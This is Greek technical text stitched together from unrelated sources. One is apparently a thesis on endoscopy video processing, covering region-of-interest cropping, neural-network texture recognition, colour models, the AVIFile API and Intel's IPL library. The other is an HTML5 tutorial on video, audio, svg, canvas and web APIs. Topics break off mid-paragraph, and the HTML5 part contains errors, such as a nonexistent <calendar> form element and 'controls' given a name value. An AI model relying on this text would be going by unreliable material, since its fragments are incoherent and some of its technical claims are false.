παίρνουµε την σχήµα 23 (χωρίς τις προσθέσεις των φίλτρων). Στην συνέχεια µπορούµε στο παράθυρο του βίντεο εξόδου µε τίτλο ‘Output 1’ να επιλέξουµε ως περιοχή ενδιαφέροντος µόνο εκείνη που περιέχει την εικόνα του ενδοσκοπίου. Αυτό γίνεται κάνοντας δεξί ‘κλικ’ στο παράθυρο και επιλέγοντας από αναδιπλούµενο µενού την επιλογή ‘Set ROI’ (ROI = ‘Region Of Interest’). Στην συνέχεια µε το ποντίκι επιλέγουµε την περιοχή ‘σχεδιάζοντας’ ένα ορθογώνιο γύρω της. Μετά την επιλογή της περιοχής ενδιαφέροντος, δηµιουργούµε ένα νέο βίντεο µόνο από αυτή: Κάνουµε δεξί ‘κλικ’ στο παράθυρο του βίντεο εξόδου και επιλέγουµε την τώρα ενεργοποιηµένη εντολή ‘Save ROI as AVI…’. Αποθηκεύουµε το βίντεο και ανοίγοντας το βλέπουµε ότι πράγµατι περιλαµβάνει µόνο την περιοχή ενδιαφέροντος που είχαµε επιλέξει. Στην συνέχεια µπορούµε να εφαρµόσουµε στο βίντεο, αν κρίνεται απαραίτητο, κάποια από τα φίλτρα προ-επεξεργασίας. Για παράδειγµα µπορεί να απαιτείται αποµάκρυνση θορύβου, ενίσχυση υψηλών συχνοτήτων (ακµών) κλπ. Τέλος προχωράµε στην αναγνώριση της επιθυµητής υφής µέσω της επιλογής ‘Recognition Video Recognition’ όπως παρουσιάστηκε στην παράγραφο 2.2. Επιλέγουµε δηλαδή τα χαρακτηριστικά που µας ενδιαφέρουν, το προεκπαιδευµένο νευρωνικό δίκτυο και αποθηκεύουµε το τελικό βίντεο εξόδου. Αυτό είναι της µορφής που φαίνεται στην σχήµα. Με άσπρο χρώµα αντιπροσωπεύεται η κλάση της υφής που θέλαµε να αναγνωρίσουµε. Με µαύρο χρώµα είναι όλες οι άλλες. Έτσι µε κατάλληλη επιλογή χαρακτηριστικών και εκπαίδευση του νευρωνικού δικτύου µπορούµε να εντοπίσουµε τους καρκινικούς ιστούς. Αν υπάρχει τέτοιος ιστός στο βίντεο εισόδου, τότε θα φανεί στο βίντεο εξόδου ως περιοχές χρωµατισµένες µε άσπρο χρώµα. Με περαιτέρω επεξεργασία, όπως για παράδειγµα µε την χρήση ενός υψηλοπερατού φίλτρου, µπορεί να παραχθεί το περίγραµµα του καρκινικού ιστού που έχει βρεθεί, και µε πρόσθεση στο αρχικό βίντεο να φαίνεται ο ιστός αυτός µε έντονο το περίγραµµα του. Μέχρι τώρα έχει γίνει αναφορά µόνο σε ασπρόµαυρες εικόνες. Σε αυτήν την παράγραφο θα παρουσιαστεί ο τρόπος αποθήκευσης και επεξεργασίας έγχρωµης εικόνας και των καρέ του βίντεο γενικότερα. Θα γίνει αναφορά στα χρωµατικά µοντέλα RGB, ΥΙQ και HSV που είναι από τα πλέον χρησιµοποιούµενα στην επεξεργασία εικόνας καθώς και στον τρόπο µετατροπής µιας RGB εικόνας σε ασπρόµαυρη εικόνα έντασης. Ο όρος χρωµατικό µοντέλο χρησιµοποιείται για να περιγράψει ένα τρόπο κωδικοποίησης της χρωµατικής πληροφορίας σε µια εικόνα. Γενικά ένα χρωµατικό µοντέλο ορίζει ένα σύστηµα συντεταγµένων και έναν υποχώρο µέσα σε αυτό όπου κάθε χρώµα αναπαρίσταται σε ένα µοναδικό σηµείο [2]. Υπάρχουν πολλά χρωµατικά

µοντέλα και κάθε ένα από αυτά έχει ως στόχο να εξυπηρετήσει τις διαφορετικές ανάγκες συστηµάτων και εφαρµογών που χρησιµοποιούν χρώµα. To API των Windows προσφέρει µια σειρά από συναρτήσεις και µακροεντολές στον προγραµµατιστή ειδικά για τον χειρισµό αρχείων τύπου RIFF στα οποία περιλαµβάνονται και τα ΑVI. Αποτελούν την βιβλιοθήκη συναρτήσεων ‘AVIFile’. Μας βοηθούν στη δηµιουργία, αναπαραγωγή, συµπίεση και αποσυµπίεση και γενικότερα την επεξεργασία ενός βίντεο χωρίς να απαιτούν από τον προγραµµατιστή την γνώση της αρχιτεκτονικής των αρχείων RIFF. Συµπεριφέρονται στα αρχεία σαν ένα σύνολο από ροές δεδοµένων (Data Streams).

Για παράδειγµα µια τέτοια ροή µπορεί να είναι η κινούµενη εικόνα και άλλες τρεις να είναι τρεις διαφορετικές εκδοχές του ήχου που την συνοδεύει, για τρεις διαφορετικές γλώσσες. Οι συναρτήσεις AVIFile είναι οργανωµένες σε µια βιβλιοθήκη δυναµικής διασύνδεσης. Για να τις χρησιµοποιήσουµε πρέπει προηγουµένως να αρχικοποιήσουµε την βιβλιοθήκη µε την συνάρτηση AVIFileInit. STDAPI_(VOID) AVIFileInit(VOID); Αφού την χρησιµοποιήσουµε θα πρέπει να την αποδεσµεύσουµε καλώντας την συνάρτηση AVIFileExit. STDAPI_(VOID) AVIFileExit(VOID); Οι δυο αυτές συναρτήσεις δεν παίρνουν καµία παράµετρο και δεν επιστρέφουν καµία τιµή. Πριν την ανάγνωση ή την εγγραφή ενός αρχείου AVI η εφαρµογή πρέπει προηγουµένως να το ανοίξει όπως γίνεται και µε τα συνήθη αρχεία δεδοµένων. Το άνοιγµα του αρχείου γίνεται µε την συνάρτηση AVIFileOpen: STDAPI AVIFileOpen( PAVIFILE * ppfile, LPCTSTR szFile, UINT mode, CLSID * pclsidHandler ); Η πρώτη παράµετρος της συνάρτησης είναι ο δείκτης αρχείου που επιστρέφει η συνάρτηση και χρησιµοποιείται σε επόµενες αναγνώσεις ή εγγραφές του αρχείου. (Είναι σε πλήρη αναλογία µε τον τύπο δεδοµένων FILE* της C). H δεύτερη παράµετρος είναι το όνοµα του αρχείου. Στη παράµετρο mode, για άνοιγµα υπάρχοντος αρχείου, δίνουµε την τιµή OF_READ. Σε αυτή τη παράγραφο θα δείξουµε πως µπορούµε µε τη χρήση του ΑPI να δηµιουργήσουµε

ένα καινούριο αρχείο βίντεο AVI. Για να γίνει πιο κατανοητή η διαδικασία θα αναλύσουµε ως παράδειγµα την δηµιουργία του βίντεο από µια σειρά από εικόνες DIB. Η βασική µεθοδολογία που ακολουθούµε είναι η ίδια και στις δυο περιπτώσεις µε λίγα παραπάνω βήµατα αν θέλουµε συµπίεση. Αρχικά θα µελετήσουµε την περίπτωση του ασυµπίεστου βίντεο που είναι και η απλούστερη. Τα βήµατα που θα ακολουθήσουµε φαίνονται στο σχήµα Η IPL (Image Processing Library) είναι µια βιβλιοθήκη επεξεργασίας εικόνας που έχει αναπτυχθεί από την Intel. Οι συναρτήσεις της είναι βελτιστοποιηµένες για τους επεξεργαστές της Intel και εκµεταλλεύονται τον παραλληλισµό που προσφέρουν οι τελευταίες γενεές αυτών µέσω των εντολών SIMD (Single-Instruction, Multiple- Data). Έτσι έχουν πολύ αυξηµένη απόδοση στους επεξεργαστές αυτούς ενώ παράλληλα διατηρούν και προς τα πίσω συµβατότητα αφού µπορούν να εκτελεστούν και σε παλαιότερους.

Η βιβλιοθήκη δεν υποστηρίζει τους διάφορους γνωστούς τύπους εικόνας (JPG, GIF,TIFF κλπ.) για ανάγνωση και επεξεργασία. Ο µοναδικός τύπος εικόνας που υποστηρίζεται άµεσα είναι τα DIB µε βάθος χρώµατος 24bit. Η βιβλιοθήκη ορίζει έναν δικό της τύπο δεδοµένων την εικόνα IPL και όλες οι συναρτήσεις της χρησιµοποιούν αυτόν για είσοδο και έξοδο. Παρέχονται εκτός των άλλων και συναρτήσεις µετατροπής εικόνων DIB σε IPL καθώς και το αντίστροφο, εικόνων IPL σε DIB. Η βιβλιοθήκη είναι φτιαγµένη για τα λειτουργικά συστήµατα της Microsoft: Windows 95/98/NT. Μπορεί να ενσωµατωθεί σε προγράµµατα που έχουν φτιαχτεί σε C ή C++. Μια εικόνα στην IPL έχει µια επικεφαλίδα η οποία την περιγράφει σαν µια λίστα από ιδιότητες και δείκτες σε δεδοµένα που σχετίζονται µε αυτήν. Οι συναρτήσεις της βιβλιοθήκης χρησιµοποιούν αυτήν την επικεφαλίδα για να λάβουν τα χαρακτηριστικά της εικόνας και τη διεύθυνση των δεδοµένων της για να τα επεξεργαστούν αναλόγως. Γενικά µια εικόνα IPL µπορεί να έχει πολλές µορφές και διαφορετικούς τύπους οργάνωσης των εσωτερικών δεδοµένων της. Αυτό συµβαίνει για πολλούς λόγους. Καταρχάς υποστηρίζονται πολλά διαφορετικά χρωµατικά µοντέλα όπως RGB, RGBA, CMYK, HSV κλπ. µε διαφορετικό πλήθος καναλιών το καθένα (Για παράδειγµα το RGB έχει τρία ενώ το CMYK τέσσερα). Επίσης το βάθος χρώµατος δεν είναι το ίδιο σε κάθε εικόνα, όπως και η σειρά εµφάνισης τους. Η µετατροπή µιας εικόνας DIB σε εικόνα της IPL γίνεται µε την συνάρτηση iplConvertFromDIB:

void iplConvertFromDIB( BITMAPINFOHEADER* dib,

IplImage* image); Η είσοδος της συνάρτησης είναι η παράµετρος "dib" η οποία είναι ο δείκτης σε µια εικόνα DIB. Η έξοδός της είναι η εικόνα "image". Η συνάρτηση θα µετατρέψει την εικόνα DIB σε µορφή IPL σύµφωνα µε τα χαρακτηριστικά που θα βρει στην επικεφαλίδα της. Προϋποθέσεις για να λειτουργήσει αυτή η συνάρτηση είναι να έχει δηµιουργηθεί η επικεφαλίδα της νέας εικόνας αλλά και να έχει δεσµευθεί η ανάλογη µνήµη (Με την συνάρτηση iplAllocateImage) που θα δεχθεί τα δεδοµένα της εικόνας. H IPL περιλαµβάνει µια µεγάλη σειρά από φίλτρα και συναρτήσεις επεξεργασίας εικόνας. Καταρχάς παρέχει πλήρη υποστήριξη όλων των τεχνικών που παρουσιάστηκαν στο πρώτο µέρος.

Πέρα από αυτές συµπεριλαµβάνονται και οι εξής: 1. ∆ιακριτός Μετασχηµατισµός Συνηµίτονου - Discrete Cosine Transform 2. Μείωση δειγµατοληψίας και κβάντισης. Μετατροπές ανάµεσα σε διάφορα χρωµατικά µοντέλα: RGB, HSV, HLS, LUV, XYZ, YUW. 3. Ψευδοχρωµατισµός. Εξαγωγή πληροφοριών ιστογράµµατος 4. Συγκρίσεις ανάµεσα σε εικόνες 5. Γεωµετρικοί µετασχηµατισµοί 6. Υπολογισµός ροπών

Εκπαιδευτική Υποενότητα 4.3 Η γλώσσα ΗΤΜL 5 Χαρακτηριστικά της HTML 5 Η HTML5 αποτελεί την πιο πρόσφατη έκδοση της γλώσσας σήμανσης HTML. Είναι η ολοκληρωμένη πέμπτη αναθεώρηση του προτύπου της HTML από το World Wide Web Consortium (W3C) (Οκτώβριος 2014). Η προηγούμενη έκδοση της HTML (HTML4) είχε προτυποποιηθεί το 1997. Σκοπός της HTML5 είναι η βελτίωση της γλώσσας με την ενσωμάτωση της υποστήριξης πολυμέσων, τη μείωση της ανάγκης για εμπορικές πρόσθετες εφαρμογές (plugins), την αύξηση της αναγνωσιμότητάς της, καθώς και τη δημιουργία πλουσίων διαδικτυακών εφαρμογών (Rich Internet Applications), όπως παράγονταν έως τώρα με χρήση του Adobe Flash, του Microsoft Silverlight, κ.α

Επιπλέον, η μεγαλύτερη αλλαγή που ίσως επιφέρει η HTML5 είναι η χρήση APIs (Application Programming Interfaces) ως μέρος του HTML document object model (DOM), χωρίς να έχουν αντίστοιχα στοιχεία σήμανσης. Είναι καθαρά DOM APIs τα οποία μπορούν να χρησιμοποιηθούν με JavaScript για τη διαμοίραση - κατανάλωση δεδομένων και τη δημιουργία εφαρμογών. Όσον αφορά στη διαδικασία προτυποποίησης της HTML5, τα Mozilla Foundation και Opera Software παρουσίασαν ένα άρθρο τοποθέτησης στο W3C Workshop τον Ιούνιο του 2004 επικεντρωμένο στην ανάπτυξη τεχνολογιών οι οποίες είναι συμβατές προς τα πίσω με υπάρχοντες περιηγητές ιστοσελίδων και συ-μπεριλάμβανε μια αρχική προδιαγραφή των Web Forms 2.0. Πλέον, η HTML5 υποστηρίζεται από όλους τους σύγχρονους περιηγητές ιστοσελίδων, ενώ οι παλαιότερες εκδόσεις τους μπορούν αυτόματα χειριστούν τα στοιχεία που δεν αναγνωρίζουν ως ενσωματωμένα στοιχεία (inline elements). Μπορείτε να δείτε πόσα από τα χαρακτηριστικά της HTML5 υποστηρίζει ο περιηγητής σας στην ιστοσελίδα Η HTML5 συγκρίνεται συχνά με το Adobe Flash, καθώς και οι δύο τεχνολογίες παρέχουν τη δυνατότητα για αναπαραγωγή ήχου και βίντεο σε ιστοσελίδες και μπορούν να χρησιμοποιήσουν Scalable Vector Graphics (SVG). Παρόλα αυτά, οι δύο αυτές τεχνολογίες είναι πολύ διαφορετικές, διότι: (α) η HTML5 δε μπορεί να χρησιμοποιηθεί από μόνη της για σχεδιοκίνηση και διαδραστικότητα, αλλά πρέπει να συνδυαστεί με CSS3 ή JavaScript, και (β) υπάρχουν πολλές δυνατότητες του Flash που δεν έχουν άμεση αντιστοιχία στην HTML5. Η HTML5 αναπτύχθηκε με βάση τους παρακάτω κανόνες και απαιτήσεις: Έπρεπε να προστεθούν νέα χαρακτηριστικά στη δομή των HTML, CSS και JavaScript. Έπρεπε να μειωθούν οι περιπτώσεις στις οποίες χρειαζόταν εγκατάσταση πρόσθετων εφαρμογών στον περιηγητή ιστοσελίδων για στοιχεία συγκεκριμένου τύπου, όπως για παράδειγμα βίντεο και ήχος. Ο τρόπος διαχείρισης σφαλμάτων έπρεπε να βελτιωθεί. Έπρεπε να γίνει προσθήκη περισσότερων ετικετών οι οποίες θα αντικαθιστούσαν τμήματα κώδικα JavaScript που χρησιμοποιούνταν συχνά από τους σχεδιαστές ιστοσελίδων. Το νέο πρότυπο θα έπρεπε να είναι αυτόνομο, χωρίς να χρησιμοποιεί τμήματα κώδικα από άλλα πρότυπα.

Τα βήματα του σχεδιασμού και της ανάπτυξης του νέου πρότυπου θα έπρεπε να είναι ανοιχτά στο κοινό.

Η ακόλουθη λίστα συνοψίζει τις βασικές αλλαγές στην HTML5: 1.

Σήμανση - προσθήκη νέων ετικετών: η HTML5 εισάγει κάποια νέα στοιχεία που

κάνουν τη δημιουργία και τη διαχείριση των ιστοσελίδων ακόμη πιο εύκολες. Κάποιες από αυτές είναι οι ετικέτες <footer>, η οποία αναφέρεται στο κάτω μέρος της ιστοσελίδας, <article>, <header>, κ.α. Επίσης, καταργείται η χρήση κάποιων μη αποδεκτών στοιχείων της HTML 4.01, (π.χ. <center>), τα οποία χρησιμοποιούνταν καθαρά για λόγους παρουσίασης και μπορούν να αντικατασταθούν από CSS. 2.

Δυνατότητα σχεδιασμού γραφικών με χρήση JavaScript και της νέας ετικέτας

<canvas>. 3.

Αναπαραγωγή βίντεο και ήχου χωρίς να χρειάζεται η εγκατάσταση πρόσθετων με τις

νέες ετικέτες <video> και <audio>. 4.

Προσθήκη νέων στοιχείων στις HTML φόρμες, όπως <calendar>, <date>, <time>, κ.λπ.

5.

Η σύνταξη της HTML5 δε βασίζεται πλέον στην SGML, αν και η σήμανση μοιάζει. Έχει

σχεδιαστεί να είναι συμβατή προς τα πίσω με τις παλαιότερες εκδόσεις της HTML. Επιπλέον, η HTML5 ορίζει scripting application programming interfaces (APIs) τα οποία μπορούν να χρησιμοποιηθούν με τη JavaScript. Κάποια από τα νέα APIs περιλαμβάνουν Offline Web Ap-plications, Drag-and-drop, Document editing, Web Storage, κ.λπ. 6.

Διαχείριση λαθών: η HTML5 είναι σχεδιασμένη έτσι ώστε οι παλαιότεροι περιηγητές

να μπορούν πλέον να αγνοούν με ασφάλεια νέες HTML5 δομές. Η προδιαγραφή της HTML5 περιλαμβάνει λεπτομερείς κανόνες με στόχο διαφορετικά συμβατοί περιηγητές να παράγουν το ίδιο αποτέλεσμα στην περίπτωση που η σύνταξη είναι λάθος. Νέα στοιχεία, όπως τα calendar, date, time, email, url και search, στην ετικέτα <input> των φορμών.

Στοιχεία για τη δομή του εγγράφου

<article> - ορίζει εξωτερικό περιεχόμενο, όπως π.χ. κείμενο από μια άλλη ιστοσελίδα. <aside> - ορίζει περιεχόμενο ανεξάρτητο από το περιεχόμενο της ιστοσελίδας. <details> - ορίζει επιπρόσθετες λεπτομέρειες τις οποίες ο χρήστης μπορεί να δει ή να κρύψει. <dialog> - ορίζει ένα πλαίσιο ή παράθυρο διαλόγου. <figure> - ορίζει περιεχόμενο όπως εικονογραφήσεις, διαγράμματα, φωτογραφίες, κ.λπ. <figcaption> - ορίζει μια λεζάντα για ένα στοιχείο <figure>. <header> - ορίζει ένα τμήμα «header» για το έγγραφο. <main> - ορίζει το κυρίως περιεχόμενο του εγγράφου. <nav> - ορίζει συνδέσμους πλοήγησης στο έγγραφο. <section> - ορίζει μια ενότητα στο έγγραφο.

Στοιχεία για φόρμες <output> - ορίζει το αποτέλεσμα ενός υπολογισμού. <datalist> - ορίζει προκαθορισμένες επιλογές για έλεγχο της εισόδου του χρήστη <keygen> - ορίζει ένα πεδίο generator για key-pair: Προσδιορίζει ένα πεδίο γεννήτρια (generator) ζεύγους κλειδιών (key-pair) για χρήση σε φόρμες Ιστού (Web forms). Χρησιμοποιείται για την επεξεργασία φορμών Ιστού με συστήματα διαχείρισης πιστοποιητικών.

H Ετικέττα <video> Η ετικέτα <video> εισάγει στη σελίδα ένα βίντεο. Η ετικέτα κλείνει με την </video> και oι βασικές παράμετροι και ενσωματωμένες ετικέτες, που υποστηρίζει η ετικέτα, περιγράφονται παρακάτω.

Η παράμετρος src χρησιμοποιείται για ορίσει το αρχείο βίντεο. Μπορεί να υπάρχει μέσα στην ετικέτα ως <video src="video.mp4"> ή να υπάρχει στην ετικέτα <source src="video.mp4">, η οποία ενσωματώνεται ως υπο-πεδίο στην <video>. Με την ενσωματωμένη ετικέτα <source> μπορούμε να ορίσουμε διαφορετικές μορφές του βίντεο, ώστε, αν κάποιος φυλλομετρητής δεν υποστηρίζει την πρώτη μορφή, τότε να γίνεται προσπάθεια για αναπαραγωγή της επόμενης μορφής. Η συγκεκριμένη ετικέτα μπορεί να υπάρχει και περισσότερες φορές, αν διαθέτουμε το βίντεο και σε άλλες μορφές καιθέλουμε να είμαστε σίγουροι ότι το βίντεο θα αναπαραχθεί σωστά, παρόλο που τα βίντεο mp4 παίζουν σε όλους τους σύγχρονους browsers. Το παραπάνω βίντεο θα εμφανιστεί στην ιστοσελίδα, όπου θα αναπαραχθεί αυτόματα λόγω της ιδιότητας autoplay. Αλλά δεν μπορούμε να έχουμε έλεγχο επί του βίντεο, δηλαδή δεν μπορούμε να το σταματήσουμε ή να μειώσουμε την ένταση του ήχου του. Για να το επιτύχουμε αυτό, θα πρέπει να προσθέσουμε την παράμετρο controls στην ετικέτα. Στο αντικείμενο controls μπορεί να έχει και ένα όνομα, άρα να ενσωματωθεί στην ετικέτα με τη μορφή controls="ctrl_video1" ή κάποιο διαφορετικό όνομα. Γενικά, αποτελεί καλή πρακτική κάθε αντικείμενο να έχει κάποιο όνομα, ώστε να υπάρχει δυνατότητα να αναφερθούμε σε αυτό από άλλες εντολές μέσα στο αρχείο.

Αξίζει να τονιστεί σε αυτό το σημείο ότι πριν την HTML5, η αναπαραγωγή ενός βίντεο σε μια ιστοσελίδα απαιτούσε τη χρήση κάποιας πρόσθετης εφαρμογής, όπως Flash ή QuickTime. Με χρήση του στοιχείου video της HTML5, αρκεί ο παραπάνω κώδικας Η ιδιότητα «controls» χρησιμεύει για την προσθήκη στοιχείων χειρισμού του βίντεο, όπως «play», «pause», και «volume». Το κείμενο που περιλαμβάνεται ανάμεσα στις ετικέτες <video> and </video> θα εμφανιστεί μόνο σε περιηγητές ιστοσελίδων που δεν υποστηρίζουν την ετικέτα <video>. Εάν συμπεριληφθούν πολλαπλές πηγές για το βίντεο (ετικέτα <source>), ο περιηγητής ιστοσελίδων θα χρησιμοποιήσει το αρχείο με τον πρώτο αναγνωρίσιμο τύπο (format). Και πάλι η αναπαραγωγή του παραπάνω βίντεο έχει ένα πρόβλημα. Μπορούμε να το προβάλουμε σε ολόκληρη την οθόνη, γεγονός που σημαίνει ότι σε μια ολοκληρωμένη εφαρμογή, όπου περιέχονται και άλλα στοιχεία, δεν θα υπήρχε σωστή προβολή και χρήση τους.

Το συγκεκριμένο παράδειγμα μπορεί να εμπλουτιστεί με χρήση και κώδικα JavaScript, όπως φαίνεται παρακάτω, για την εμφάνιση κατάλληλων κουμπιών για την αναπαραγωγή ή παύση του βίντεο. Η συσχέτιση του κώδικα σε HTML με τον κώδικα JavaScript γίνεται με την εντολή «var myVideo = document.getElementById("video1");», η οποία δέχεται το id του βίντεο. Το αποτέλεσμα του κώδικα είναι η εμφάνιση των κουμπιών ελέγχου κάτω από το βίντεο και η αύξηση ή μείωση του μεγέθους με πλήρη έλεγχο από τον κώδικα.

Στην περίπτωση που είναι διαθέσιμοι υπότιτλοι σε μία ή περισσότερες γλώσσες σε κάποιο ξεχωριστό αρχείο με προέκταση vtt, τότε μπορούμε να τους εμφανίζουμε με το βίντεο, κάνοντας χρήση της ετικέτας <track>. Στον Πίνακα 12.8 δίνουμε ένα ολοκληρωμένο παράδειγμα με χρήση υπότιτλων. Η ετικέτα <track> μπορεί να επαναληφθεί πολλές φορές, αν έχουμε διαφορετικούς υπότιτλους. Η ετικέτα περιέχει διάφορες ι-διότητες, οι οποίες

ορίζουν τη γλώσσα των υπότιτλων και το αντίστοιχο αρχείο. Παρακάτω βλέπουμε πώς εμφανίζονται τα αντίστοιχα κουμπιά ελέγχου του βίντεο.

Η συγκεκριμένη ετικέτα χρησιμοποιείται για την ενσωμάτωση αρχείων ήχου σε μια ιστοσελίδα. Παρακάτω παραθέτουμε τις ιδιότητες της ετικέτας. Η παράμετρος src χρησιμοποιείται για να ορίσει το αρχείο ήχου. Μπορεί να υπάρχει μέσα στην ετικέτα ως <audio src="audio.mp3"> ή να υπάρχει στην ετικέτα <source src="audio.mp3">, η οποία ενσωματώνεται ως υπο-πεδίο στην <audio>.

Παρακάτω εμφανίζονται τα κουμπιά ελέγχου του ήχου. Στην ετικέτα <audio> έχει χρησιμοποιηθεί και η ιδιότητα controls, προκειμένου να εμφανιστούν τα κουμπιά ελέγχου.

Με το στοιχείo <source> μπορούμε να ορίσουμε διαφορετικές μορφές για το αρχείο ήχου, οι οποίες θα αναπαραχθούν, στην περίπτωση που δεν μπορεί ο browser να αναπαράγει την αρχική μορφή. Παρακάτω, αν δεν μπορεί να αναπαραχθεί η μορφή ogg, θα γίνει προσπάθεια αναπαραγωγής της μορφής mp3. Αν ο φυλλομετρητής είναι παλιός και δεν υποστηρίζει

κανέναν από τους δύο τύπους, τότε θα εμφανιστεί το μήνυμα Your browser does not support the audio element.

Η ετικέτα <svg> Η συγκεκριμένη ετικέτα μας βοηθά να σχεδιάσουμε κάποιο διανυσματικό γραφικό. Πρακτικά, πρέπει να γνωρίζουμε πώς να φτιάξουμε γραφικά svg, τα οποία, είναι κωδικοποιημένα σε XML. Εμφανίζεται παρακάτω ένα αρχείο HTML με ενσωματωμένο κώδικα διανυσματικών γραφικών svg και στην εικόνα είναι το αποτέλεσμα.

Στο παράδειγμα, που ακολουθεί, χρησιμοποιούμε την ετικέτα <svg> σε συνδυασμό με την ετικέτα <style>, η οποία ορίζει ένα CSS μέσα στο ίδιο αρχείο. Η δημιουργία αρχείων svg μπορεί να γίνει με κάποιο πρόγραμμα διανυσματικών γραφικών, όπως το Inkscape. Έπειτα μπορεί να ενσωματωθεί σε κάποιο αρχείο HTML5 . Όσον αφορά στα SVG, είναι ακρωνύμιο των Scalable Vector Graphics, χρησιμεύουν για τον ορισμό γραφικών σε ιστοσελίδες και αποτελούν πρόταση του W3C. Η SVG αποτελεί γλώσσα για την περιγραφή δισδιάστατων (2D) γραφικών σε XML. To στοιχείο <svg> αποτελεί container για SVG γραφικά και υποστηρίζει αρκετές μεθόδους για το σχεδιασμό κύκλων, μονοπατιών, εικόνων, κ.λπ.

Τα SVG γραφικά, εν αντιθέσει με τα canvas είναι ανεξάρτητα ανάλυσης (resolution), είναι προτιμότερα για εφαρμογές με μεγάλες περιοχές απόδοσης (rendering) γραφικών (π.χ. Google Maps), αλλά κάνουν slow rendering αν είναι πολύ σύνθετα και δεν προτείνονται για πολύ απαιτητικές εφαρμογές, όπως π.χ. παιχνίδια.

Η ετικέτα <canvas> Ειδικότερα, η ετικέτα <canvas> ορίζει μια ορθογώνια περιοχή στην οποία μπορεί να γίνει σχεδίαση γραφικών, όπως παραδείγματος χάρη κύκλων, ορθογωνίων, χαρακτήρων, αλλά και να γίνει εμφάνιση εικόνων από εξωτερικές πηγές. Η σχεδίαση γραφικών μέσα σε αυτήν την

περιοχή γίνεται «on the fly», με χρήση scripting (συνήθως με JavaScript). Το στοιχείο canvas έχει πολλές μεθόδους για τη σχεδίαση σχημάτων, κειμένων και την προθήκη εικόνων. Από προεπιλογή, ένα στοιχείο canvas δεν έχει περίγραμμα και περιεχόμενο.

Ο παραπάνω κώδικας ορίζει ένα στοιχείο canvas με id «myCanvas», μαύρο περίγραμμα και διαστάσεις 300x200 pixels. Στη συνέχεια, γίνεται η σχεδίαση σε αυτήν την περιοχή με χρήση JavaScript. Ο κώδικας JavaScript τοποθετείται στις ετικέτες <script>...</script>. Αρχικά, στην πρώτη γραμμή του κώδικα JavaScript καθορίζε-ται η περιοχή canvas στην οποία θα σχεδιαστούν γραφικά, με το id της επιθυμητής περιοχής. Στη συνέχεια, δημιουργείται ένα αντικείμενο getContext("2d"), το οποίο είναι μέρος της HTML5. Οι δύο επόμενες γραμμές ορίζουν ένα ορθογώνιο κόκκινου χρώματος με διαστάσεις 150x75 pixels. Η αριστερή γωνία του ορθογωνίου θα είναι στο σημείο 0, 0 της περιοχής canvas.

Χρησιμοποιώντας την ετικέτα canvas, μπορούμε να εμφανίσουμε διάφορα γραφικά σε μια σελίδα, όπως διαγράμματα, κινούμενα γραφικά, γραφικές παραστάσεις και εικόνες, τα οποία είναι αποθηκευμένα σε διάφορα αρχεία. Η ετικέτα canvas ορίζει μια ορθογώνια περιοχή στη σελίδα. Η σχεδίαση των γραφικών γίνεται με χρήση εντολών, συνήθως στη JavaScript. Τα γραφικά μέσα στη συγκεκριμένη περιοχή, δημιουργούνται με την τεχνική pixel-based drawing API, σύμφωνα με την οποία η σχεδίαση των γραφικών γίνεται με τον ορισμό σημείων μέσα στην περιοχή. Μολονότι ακούγεται απλό και χωρίς πολλές δυνατότητες, εντούτοις με την ταυτόχρονη χρήση της JavaScript, με την οποία σχεδιάζουμε γραφικά στην περιοχή canvas, μπορούμε να πετύχουμε εντυπωσιακά αποτελέσματα. Στη συνέχεια παρουσιάζονται ορισμένες βασικές δυνατότητες του canvas. Παρακάτω, ορίζουμε μια περιοχή σχεδίασης 200x100 pixel με 1 pixel περίγραμμα χρώματος #c3c3c3. Η σχεδίαση γίνεται με χρήση εντολών στη JavaScript. Με την εντολή c.getContext("2d") δημιουργείται ένα αντικείμενο που παρέχει μεθόδους για τη σχεδίαση δισδιάστατων γραφικών. Στη συνέχεια σχεδιάζεται ένα κόκκινο ορθογώνιο, όπως απεικονίζεται παρακάτω.

Η HTML5 εισήγαγε, επίσης, διάφορους νέους τύπους εισόδου από το χρήστη, όπως: Χρώμα Ημερομηνία Email Μήνα Αριθμό Τηλέφωνο URL Οι νέοι τύποι εισόδου που δεν υποστηρίζονται από παλαιότερους περιηγητές ιστοσελίδων θα έχουν ανάλογη συμπεριφορά με τον τύπο εισόδου «text». Στην HTML5 εισήχθησαν και διάφορες χρήσιμες ιδιότητες για την ετικέτα <input>, όπως autocomplete, autofocus, required και multiple, καθώς και οι εξής ιδιότητες για το στοιχείο <form>: autocomplete και novalidate. APIs της HTML

Geolocation: χρησιμεύει για να τη λήψη της γεωγραφικής θέσης του χρήστη της ιστοσελίδας (με έγκρισή του). Drag and Drop: στην HTML5 το drag and drop αποτελεί μέρος της προδιαγραφής. Local Storage: για την αποθήκευση δεδομένων τοπικά στον περιηγητή ιστοσελίδων του χρήστη από εφαρμογές του Παγκόσμιου Ιστού (Web applications). Το local storage είναι πιο ασφαλές από τα cookies, και το αποθηκευτικό του όριο είναι πολύ μεγαλύτερο. Application Cache: χάρη στο application cache, οι χρήστες μπορούν να χρησιμοποιούν μια εφαρμογές του Παγκόσμιου Ιστού και όταν περιηγούνται στον Παγκόσμιο Ιστό είναι εκτός σύνδεσης (offline browsing), με υψηλότερη ταχύτητα, λόγω των αποθηκευμένων πόρων (cached resources) και με μειωμένο φόρτο στον εξυπηρετητή (server load), καθώς ο περιηγητής ιστοσελίδων θα κατεβάσει μόνο ενημερωμένους πόρους από τον εξυπηρετητή. Web workers: JavaScript το οποίο τρέχει στο παρασκήνιο (background), ανεξάρτητα από άλλα scripts, χωρίς να επηρεάζει την απόδοση της ιστοσελίδας. Server-Sent Events (SSE): ένα server-sent event συμβαίνει όταν η ιστοσελίδα ενημερώνεται αυτό-ματα από τον εξυπηρετητή. Στη συνέχεια, παρατίθεται ένα παράδειγμα draggable αντικειμένου με χρήση του HTML5 drag and drop API. Όπως έχει ήδη αναφερθεί, το drag and drop είναι μέρος της προδιαγραφής της HTML5. Κάθε αντικείμενο μπορεί να «συρθεί» σε μια άλλη θέση στην ιστοσελίδα, αρκεί να τεθεί η ιδιότητα «draggable» του αντικειμένου σε «true». Για να γίνει αυτό, αρκεί η γραμμή κώδικα:

